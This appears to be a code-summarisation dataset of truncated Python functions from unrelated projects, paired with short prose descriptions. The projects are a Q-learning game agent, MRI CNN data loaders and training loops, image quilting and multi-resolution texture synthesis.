def find_monsters(wrld): """finds position of nearest monster in world""" monsters = [] for x in range(wrld.width()): for y in range(wrld.height()): if wrld.monsters_at(x,y): monsters.append((x,y)) return monsters def find_closest_obj(wrld, objs, x, y): """fi...
The function checks if a monster is within 3 tiles of a given position (x, y) using A* pathfinding. It calculates the shortest path length between (x, y) and the closest monster. If the path length is ≤3, it returns a score emphasizing proximity (4 - length/4); otherwise, it returns 0.0. The function ensures bounds-che...
def monster_within_radius(wrld, x, y): """Check if monster is within 3 tiles away""" monsters = find_monsters(wrld) closest_m = find_closest_obj(wrld, monsters, x, y) if closest_m == 0: return 0.0 if (x >= 0) and (x < wrld.width()): # Avoid out-of-bound indexing if (y >...
def calc_rewards(self, wrld, x, y): """ Loop over heuristics function and evaluate at current worldstate return sum of heuristics """ r = 0 if wrld.exit_at(x,y): r = 50 elif wrld.bomb_at(x,y) or wrld.explosion_at(x,y) or wrld.monsters_at(x,y): ...
This code updates the weights of a Q-function using the Temporal Difference (TD) learning rule. It calculates the difference (delta) between the current Q-value and the estimated future reward, then adjusts the weights by multiplying the delta with the feature vector and learning rate, refining the Q-value approximatio...
def update_weights(self, current_state, c): """update the weights for Q(s,a)""" # print("\n===========================") # print("UPDATING WEIGHTS:") current_action = self.current_action # print("Current action: ", current_action) reward = self.calc_rewards(current_state,...
def update_weights(self, current_state, c): """update the weights for Q(s,a)""" # print("\n===========================") # print("UPDATING WEIGHTS:") current_action = self.current_action # print("Current action: ", current_action) reward = self.calc_rewards(current_state,...
The code implements a Q-learning agent controlling a character in a game environment. It checks for nearby monsters/walls to place bombs, determines the next move using Q-values, updates the agent's state (position, action, Q-value), and applies the movement. The agent learns by updating weights based on previous Q-val...
def do(self, wrld): c = wrld.me(self) if self.last_q: self.update_weights(wrld, c) # Place bomb if monster or walls are nearby if qf.monster_within_radius(wrld, c.x, c.y) or qf.find_walls(wrld, c.x, c.y): self.place_bomb() # print("\n=========...
def get_test_2DCNN(self, data_type, ax): MRIMetaData = MetaData() batch_x = [] batch_y = [] if data_type == "Gray": pth = opt.Test_GrayPath elif data_type == "White": pth = opt.Test_whitePath Sample_IDs = self.get_sample_IDs("test") for ID...
This function retrieves test data by selecting between 2D, 3D, or ECNN methods based on input parameters. If 'ax' is provided, it uses get_test_2DCNN; if 'data_type' is specified without 'ax', it uses get_test_3DCNN; otherwise, it defaults to get_test_ECNN. It returns the generated batch data (batch_x, batch_y) for tes...
def get_test_data(self, data_type=None, ax=None): if ax: batch_x, batch_y = self.get_test_2DCNN(data_type, ax) elif data_type: batch_x, batch_y = self.get_test_3DCNN(data_type) else: batch_x, batch_y = self.get_test_ECNN() return batch_x, batch_y
def create_data_train(self): data_generator_Train = DataGenerator(SettingRepository(data_provider=self.data_provider, num_sample=opt.Train_num, batch_size=opt.batch_size_2D, ...
The code's main task is to train a model using generated training and validation data, measure the training duration, and evaluate the model's performance through a test phase. It initializes data generators, executes training, records the time taken, and triggers a test method to assess the model's accuracy.
def run (self): data_generator_Train, data_generator_Valid = self.create_data_train() start_time = time.time() self.train( data_generator_Train, data_generator_Train) stop_time = time.time() print("Training_Time_Duration :", stop_time - start_time) self.test()
def create_data_train(self): data_generator_Train = DataGenerator(SettingRepository(data_provider=self.data_provider, num_sample=opt.Train_num, batch_size=opt.batch_size, ...
The main task of the code is to execute a training process by generating training and validation data, timing the training duration, and subsequently running a test. It initializes data generators, triggers model training with validation, measures the elapsed time, and concludes with a test phase to evaluate performanc...
def run (self): data_generator_Train, data_generator_Valid = self.create_data_train() start_time = time.time() self.train( data_generator_Train, data_generator_Valid) stop_time = time.time() print("Training_Time_Duration :", stop_time - start_time) self.test()
def scan_blocks(image,blocksize,overlap_size): m,n = image.shape tiles=[] for w in range(0,m-overlap_size,blocksize): for h in range(0,n-overlap_size,blocksize): block = image[w:w+blocksize,h:h+blocksize] if(block.shape[0]==blocksize and block.shape[1]==blocksize): ...
The code performs image quilting by tiling smaller blocks from an input image to create a larger output image. It calculates the required number of blocks, initializes the output, and fills it by matching overlapping regions with existing blocks. The process starts with a random block, then fills rows, columns, and rem...
def img_quilting(input_img,out_shape,overlap_size,blocksize,save_path): m,n = input_img.shape nH = int(ceil((out_shape[0] - blocksize)*1.0/(blocksize - overlap_size))) nW = int(ceil((out_shape[1] - blocksize)*1.0/(blocksize - overlap_size))) output_img = np.zeros(((blocksize + nH*(blocksize - overlap_si...
def gaussian_pyramid(image,levels): assert np.power(2,levels)<=image.shape[0] and np.power(2,levels)<=image.shape[1] layer = image.copy() arr = [layer] for i in range(levels): layer = cv2.pyrDown(layer) arr.append(layer) return arr def randomRow2Map(copyFrom, copyTo,rowsToCopy): rowsEx, colsEx= np.shape(co...
The code performs multi-resolution texture synthesis by building Gaussian pyramids for input and output images, then iteratively matching and copying texture patches from the input pyramid to the output pyramid at each resolution level, starting from the coarsest to finest, to generate a synthesized texture image.
def multi_resolution_texture_synthesis(img,output_shape,levels): output_img = np.zeros(output_shape) input_gp = gaussian_pyramid(img,levels) output_gp = gaussian_pyramid(output_img,levels) level = len(output_gp) randomRow2Map(input_gp[-1], output_gp[-1],2) for i in range(level-1,-1,-1): ...